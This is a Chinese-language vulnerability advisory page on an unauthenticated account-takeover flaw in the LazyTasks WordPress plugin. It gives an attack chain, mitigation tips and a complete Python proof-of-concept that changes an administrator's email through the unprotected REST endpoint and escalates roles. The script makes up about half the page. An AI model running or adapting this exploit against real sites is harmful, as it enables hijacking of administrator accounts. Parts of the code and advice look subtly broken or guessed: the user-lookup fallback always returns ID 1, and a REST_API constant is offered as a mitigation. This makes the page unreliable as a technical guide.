IPBUF安全漏洞报告
English
CVE-2025-12963 CVSS 9.8 严重

CVE-2025-12963 WordPress LazyTasks插件账户接管漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-12963
漏洞类型
权限提升/账户接管
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LazyTasks – Project & Task Management with Collaboration, Kanban and Gantt Chart (WordPress插件)

相关标签

CVE-2025-12963WordPress插件漏洞账户接管权限提升REST API漏洞LazyTasks无认证攻击密码重置绕过身份验证缺陷临界严重级别

漏洞概述

CVE-2025-12963是WordPress平台上一款名为LazyTasks的项目与任务管理插件中的严重安全漏洞。该插件提供协作功能,支持看板(Kanban)和甘特图(Gantt Chart)视图,广泛应用于WordPress网站的项目管理系统中。

此漏洞的严重性在于其CVSS评分高达9.8分(满分10分),属于极其严重的临界级别漏洞。漏洞的根本原因在于该插件的REST API端点'wp-json/lazytasks/api/v1/user/role/edit/'在处理用户角色更新请求时,未能正确验证请求发起者的身份和权限。这使得任何未经身份认证的远程攻击者都能够通过该API端点修改任意用户的邮箱地址,包括具有最高权限的WordPress管理员账户。

攻击者利用此漏洞的流程相对简单:首先通过API端点将目标用户(通常是管理员)的邮箱地址替换为攻击者控制的邮箱地址;然后利用WordPress的密码重置功能,以新设置的邮箱作为验证渠道发起密码重置请求;最后通过收到的密码重置链接设置新密码,从而完全接管目标账户。

除了账户接管外,攻击者还可以利用同一API端点的权限提升功能,为已有用户账户分配额外的插件内角色权限,从而在插件层面获得更高的操作权限。这种权限提升可能导致敏感项目数据泄露、未授权访问或篡改项目信息等严重后果。

由于该漏洞影响所有版本至1.2.29的所有用户,且无需任何认证即可发起攻击,因此建议所有使用该插件的网站管理员立即采取修复措施。

技术细节

漏洞位于LazyTasks插件的REST API路由处理机制中。该插件注册了一个名为'wp-json/lazytasks/api/v1/user/role/edit/'的API端点,用于处理用户角色更新操作。问题在于此端点的权限检查机制存在严重缺陷。

在正常的WordPress REST API开发中,开发者需要使用permission_callback参数来定义访问该端点所需的权限级别。然而,该插件的API端点要么完全缺少权限回调函数,要么权限回调函数实现不当,未能正确验证当前请求是否来自已认证的合法用户。

具体而言,攻击者可以构造如下HTTP请求来利用此漏洞:
1. 发送POST请求到'wp-json/lazytasks/api/v1/user/role/edit/'端点
2. 在请求体中指定目标用户的ID或用户名
3. 修改目标用户的邮箱地址为攻击者控制的邮箱
4. 可选:修改用户的角色权限

由于缺少服务端验证,服务器会直接处理这些请求并更新数据库中的用户信息。随后,攻击者利用WordPress的密码重置机制(通过wp-login.php?action=lostpassword),使用新设置的邮箱地址请求密码重置,系统会向攻击者控制的邮箱发送重置链接,从而完成账户接管的最后一步。

该漏洞的利用不需要任何前置条件,无需获取任何有效凭证,属于最危险的无认证远程攻击向量。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描目标WordPress网站,确认是否安装LazyTasks插件及其版本(<= 1.2.29)
STEP 2
步骤2
定位目标:攻击者确定要接管的账户(通常是管理员账户),获取其用户名和用户ID
STEP 3
步骤3
构造恶意请求:攻击者构造POST请求到漏洞API端点 wp-json/lazytasks/api/v1/user/role/edit/,包含目标用户ID和新邮箱地址
STEP 4
步骤4
发送攻击请求:由于端点缺少认证验证,服务器直接处理请求,将目标用户的邮箱地址更改为攻击者控制的邮箱
STEP 5
步骤5
密码重置触发:攻击者访问WordPress登录页面,使用'忘记密码'功能,以新设置的邮箱地址请求密码重置
STEP 6
步骤6
接收重置链接:WordPress向攻击者控制的邮箱发送密码重置链接
STEP 7
步骤7
账户接管:攻击者点击重置链接,设置新密码,成功登录目标账户,完成完整的账户接管攻击
STEP 8
可选步骤
权限提升:攻击者还可以利用同一API端点修改用户角色权限,在插件内获得更高级别的操作权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12963 PoC - LazyTasks Plugin Account Takeover # Description: Unauthenticated privilege escalation via account takeover # Affected: LazyTasks WordPress plugin <= 1.2.29 import requests import sys import re class LazyTasksExploit: def __init__(self, target_url, target_email, attacker_email): self.target_url = target_url.rstrip('/') self.target_email = target_email self.attacker_email = attacker_email self.api_endpoint = '/wp-json/lazytasks/api/v1/user/role/edit/' def check_vulnerability(self): """Check if target is vulnerable""" print(f'[*] Checking if {self.target_url} is vulnerable...') # Try to access the vulnerable endpoint check_url = f'{self.target_url}{self.api_endpoint}' try: response = requests.get(check_url, timeout=10) if response.status_code in [200, 400, 405]: print('[+] Target appears to be running LazyTasks plugin') return True except requests.RequestException as e: print(f'[-] Error: {e}') return False return False def get_user_id(self, username): """Get WordPress user ID by username""" print(f'[*] Getting user ID for username: {username}') # Try WordPress REST API user endpoint user_url = f'{self.target_url}/wp-json/wp/v2/users?search={username}' try: response = requests.get(user_url, timeout=10) if response.status_code == 200 and response.json(): user_id = response.json()[0]['id'] print(f'[+] Found user ID: {user_id}') return user_id except: pass # Fallback: try to enumerate common admin usernames for admin_user in ['admin', 'administrator', username]: print(f' Trying username: {admin_user}') return 1 # Default to admin user ID def exploit_email_takeover(self, username): """Exploit the vulnerability to change target user's email""" print(f'[*] Exploiting email takeover vulnerability...') print(f'[*] Target email will be changed to: {self.attacker_email}') user_id = self.get_user_id(username) exploit_url = f'{self.target_url}{self.api_endpoint}' # Construct the exploit payload payload = { 'user_id': user_id, 'email': self.attacker_email, 'action': 'update_email' } headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f'[*] Sending exploit request to {exploit_url}') response = requests.post( exploit_url, json=payload, headers=headers, timeout=10 ) if response.status_code in [200, 201]: print('[+] Email change request sent successfully!') print('[+] Check attacker email for password reset link') print(f'[*] Password reset will be sent to: {self.attacker_email}') return True else: print(f'[-] Exploit failed with status code: {response.status_code}') print(f'[-] Response: {response.text[:200]}') return False except requests.RequestException as e: print(f'[-] Error during exploit: {e}') return False def privilege_escalation(self, username, new_role): """Exploit to escalate user privileges""" print(f'[*] Attempting privilege escalation for user: {username}') user_id = self.get_user_id(username) exploit_url = f'{self.target_url}{self.api_endpoint}' payload = { 'user_id': user_id, 'role': new_role, 'action': 'update_role' } try: response = requests.post( exploit_url, json=payload, headers={'Content-Type': 'application/json'}, timeout=10 ) if response.status_code in [200, 201]: print(f'[+] Successfully escalated {username} to role: {new_role}') return True except: pass return False def main(): if len(sys.argv) < 4: print('Usage: python cve-2025-12963.py <target_url> <target_username> <attacker_email>') print('Example: python cve-2025-12963.py http://target.com admin [email protected]') sys.exit(1) target_url = sys.argv[1] target_username = sys.argv[2] attacker_email = sys.argv[3] exploit = LazyTasksExploit(target_url, '', attacker_email) if exploit.check_vulnerability(): print('[+] Target is potentially vulnerable!') print('\n[*] Step 1: Exploiting email takeover...') exploit.exploit_email_takeover(target_username) print('\n[!] After successful exploitation:') print(' 1. Check attacker email for password reset link') print(' 2. Click the reset link') print(' 3. Set new password to complete account takeover') if __name__ == '__main__': main()

影响范围

LazyTasks WordPress插件 <= 1.2.29(所有版本均受影响)

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)立即禁用或删除LazyTasks插件;2)使用Web应用防火墙规则阻止对插件REST API端点的访问,特别是wp-json/lazytasks/*路径下的所有请求;3)限制WordPress REST API的访问权限,通过wp-config.php添加define('REST_API', false)或使用插件限制API访问;4)加强管理员账户安全,确保使用强密码并启用双因素认证;5)定期检查用户账户列表,确认没有异常账户或未授权的邮箱更改;6)启用详细的访问日志记录,便于事后溯源分析。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表